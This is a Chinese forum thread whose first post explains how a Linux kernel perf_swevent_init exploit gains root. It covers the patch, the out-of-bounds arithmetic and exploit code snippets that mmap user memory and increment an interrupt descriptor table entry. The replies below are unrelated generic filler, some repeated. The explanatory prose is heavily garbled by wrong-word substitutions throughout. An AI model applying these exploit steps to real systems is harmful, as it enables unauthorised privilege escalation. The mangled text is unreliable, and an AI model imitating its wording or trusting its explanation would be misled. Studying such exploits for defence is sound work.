山那边是海 发表于 2015-1-18 11:26:19

Linux教程之一个尽妙的内核 exploit仓酷云

系统做了些什么,这需要时间去掌握,(背命令不是一件好的学习方法,相信我你一定会在你背完之前全部忘光),尽量掌握常用命令;
比来Linux内核爆出了一个严峻的平安毛病,非root用户能够经由过程该毛病的exploit猎取root权限。这其实不稀有,值得一提的是这个补钉看起来云云寻常以致于我们尽年夜多半人都不会觉得这是平安成绩。
先看这个成绩的补钉,就是上面这个:
staticintperf_swevent_init(structperf_event*event){-        intevent_id=event->attr.config;+        u64event_id=event->attr.config;if(event->attr.type!=PERF_TYPE_SOFTWARE)return-ENOENT;我们第一眼的感到就是这也许只是修复了编译器报的一个小告诫吧,怎样会引发云云严峻的平安成绩呢?
在没打补钉的代码中event_id是个带标记的整型,并且就鄙人面不远处的两行代码中只反省了其上界:
PLAINTEXTC:
[*]if(event_id>=PERF_COUNT_SW_MAX)
[*]return-ENOENT;

而假如传送出去的event->attr.config值恰好设置了标记位,那末event_id就会酿成负值,并且能躲过下面的反省。
负值意味着甚么呢?再持续看前面的代码:
PLAINTEXTC:
[*]if(!event->parent){
[*]interr;
[*]
[*]err=swevent_hlist_get(event);
[*]if(err)
[*]returnerr;
[*]
[*]atomic_inc(&perf_swevent_enabled);
[*]event->destroy=sw_perf_event_destroy;
[*]}

意味着数组越界!这时候你应当身上入手下手冒盗汗了。持续,数组perf_swevent_enabled[]在RHEL6上的界说是:
PLAINTEXTC:
[*]atomic_tperf_swevent_enabled;

而atomic_t基础上就是int,也就是说perf_swevent_enabled[]是整型数组,那末用event_id会见该数组时会把event_id的值乘以4再加上数组的肇端地点。很复杂哈!
好,经由过程System.map文件我们能够失掉perf_swevent_enabled的地点:
ffffffff81f360c0Bperf_swevent_enabled那末当event->attr.config==0xffffffff(即有标记的-1)时,在x86_64下面我们终极会失掉:
0xffffffffffffffff*4+0xffffffff81f360c0==0xFFFFFFFF81F360BC同理,当event->attr.config==0xfffffffe时我们失掉:
0xfffffffffffffffe*4+0xffffffff81f360c0==0xFFFFFFFF81F360B8以是上述的atomic_inc()实在增添的是后面两个地点中寄存的值,而这俩地点都指向内核空间(拜见Documentation/x86/x86_64/mm.txt)!这时候你应当感应严重了。。。
前面更风趣的事变产生在sw_perf_event_destroy()函数中,它是在perf_event_open()前往的fd被封闭时被挪用,RHEL6上其界说以下:
PLAINTEXTC:
[*]staticvoidsw_perf_event_destroy(structperf_event*event)
[*]{
[*]u64event_id=event->attr.config;
[*]
[*]WARN_ON(event->parent);
[*]
[*]atomic_dec(&perf_swevent_enabled);
[*]swevent_hlist_put(event);
[*]}

很分明的分歧是,event_id此次是无标记的范例。那末,同上,当event->attr.config==0xffffffff时我们失掉:
0xffffffff*4+0xffffffff81f360c0==0x0000000381F360BC当event->attr.config==0xfffffffe时我们失掉:
0xfffffffe*4+0xffffffff81f360c0==0x0000000381F360B8以是这里的atomic_dec()实践上减小的是用户空间地点内的值。
下面是“基本常识”,带着这些常识我们看exploit代码事实做了甚么,代码片断以下:
PLAINTEXTC:
[*]#defineBASE0x380000000
[*]#defineSIZE0x010000000
[*]
[*]
[*]assert((map=mmap((void*)BASE,SIZE,3,0x32,0,0))==(void*)BASE);
[*]memset(map,0,SIZE);
[*]sheep(-1);sheep(-2);//sheepwilljustinvokeperf_event_open
[*]//syscallwithattr.configsettotheparam
[*]for(i=0;i<SIZE/4;i++)if(map){
[*]assert(map);
[*]break;
[*]}

它起首会mmap()肇端地点是0x380000000的一块内存地区。然后分离以attr.config为-1和-2挪用两次perf_event_open()。依据后面的盘算,它实践上分离增添了0xFFFFFFFF81F360BC和0xFFFFFFFF81F360B8两处内存的值,削减了0x0000000381F360BC和0x0000000381F360B8的值。前面的for轮回则是找出被削减的内存地点,如许一来也就能够算出perf_swevent_enabled[]数组的地点(System.map其实不老是存在,假如存在并且可读我们固然能够间接往读这个值)。
晓得这个地点我们就能够利用内核中某处的32bit的值,把其值加一。正由于云云,作者奇妙地选择了中止形貌符表——一个16字节形貌符的数组,它的地点能够经由过程sidt指令猎取。它个中的形貌符布局界说以下:
OffsetSizeDescription02Offsetlowbits(0..15)22Selector(Codesegmentselector)41Zero51TypeandAttributes(sameasbefore)62Offsetmiddlebits(16..31)84Offsethighbits(32..63)124Zero这里最风趣的是offset为8的中央,在x86_64下面其值为0xffffffff。作者选择的中止形貌符是0x4,以是相对中止形貌符表它的偏移实践上是0x48。如今的义务就成了经由过程perf_swevent_enabled[]来盘算出该中止形貌符中偏移为8的内存地点,并对其加一!上面的代码就是做的这个事情:
PLAINTEXTC:
[*]sheep(-i+(((idt.addr&0xffffffff)-0x80000000)/4)+16);


对于linux命令,一定要学会用man和info去查他们的解释;

金色的骷髅 发表于 2015-1-21 06:34:52

Windows有MS-DOS?方式,在该方式下通过输入DOS命令来操作电脑;Linux与Windows类似,也有命令方式,Linux?启动后如果不执行?X-WINDOWS,就会处于命令方式下,必须发命令才能操作电脑。?

莫相离 发表于 2015-1-22 06:04:34

随着Linux技术的更加成熟、完善,其应用领域和市场份额继续快速增大。目前,其主要应用领域是服务器系统和嵌入式系统。然而,它的足迹已遍布各个行业,几乎无处不在。

深爱那片海 发表于 2015-1-24 14:50:40

Linux操作系统这个名词记得在很早以前就听过,但当时并不知道具体是什么样的操作系统,只知道是一个与嵌入式密切相关的操作系统。

爱飞 发表于 2015-1-30 15:52:21

永中office 2004增强版安装只需要默认安装即可使用并操作大多与win系统雷同,打印机的配置和管理,记录光盘等。

柔情似水 发表于 2015-2-6 13:54:36

当然你不需搭建所有服务,可以慢慢来。自己多动手,不要非等着别人帮你解决问题。

变相怪杰 发表于 2015-2-16 08:54:39

通过自学老师给的资料和向同学请教,掌握了一些基本的操作,比如挂载优盘,编译程序,在Linux环境下运行,转换目录等等。学了这些基础才能进行下面的模拟OS程序。?

山那边是海 发表于 2015-2-24 22:02:58

编程学习及开发,Linux是免费,开源的操作系统,并且可开发工具相当多,如果您支持自由软件,一定要同广大热爱自由软件人士一同为其不懈努力。

冷月葬花魂 发表于 2015-2-28 03:56:37

熟悉并掌握安装Linux,安装是学习的前提。目前较常见的安装方法有二种:

兰色精灵 发表于 2015-3-1 09:25:13

老实说,第一个程序是在C中编译好的,调试好了才在Linux下运行,感觉用vi比较麻烦,因为有错了不能调试,只是提示错误。

愤怒的大鸟 发表于 2015-3-2 21:23:24

编程学习及开发,Linux是免费,开源的操作系统,并且可开发工具相当多,如果您支持自由软件,一定要同广大热爱自由软件人士一同为其不懈努力。

再见西城 发表于 2015-3-11 06:24:50

尽我能力帮助他人,在帮助他人的同时你会深刻巩固知识。

灵魂腐蚀 发表于 2015-3-11 11:09:16

把这个问题放在其他Linux社区请求帮助也是一种选择。如果Linux得不到答案,请不要以为我们觉得无法帮助你。有时只是看到你问题的人不知道答案罢了。这时换一个社区是不错的选择。

第二个灵魂 发表于 2015-3-18 07:30:45

甚至目前许多应用软件都是基于它的。可是没有哪一个系统是十分完美的。

蒙在股里 发表于 2015-3-25 13:14:29

任何人都可以根据自己的喜好来定制适合自己的操作系统,Linux?是抢占式多任务多用户操作系统.
页: [1]
查看完整版本: Linux教程之一个尽妙的内核 exploit仓酷云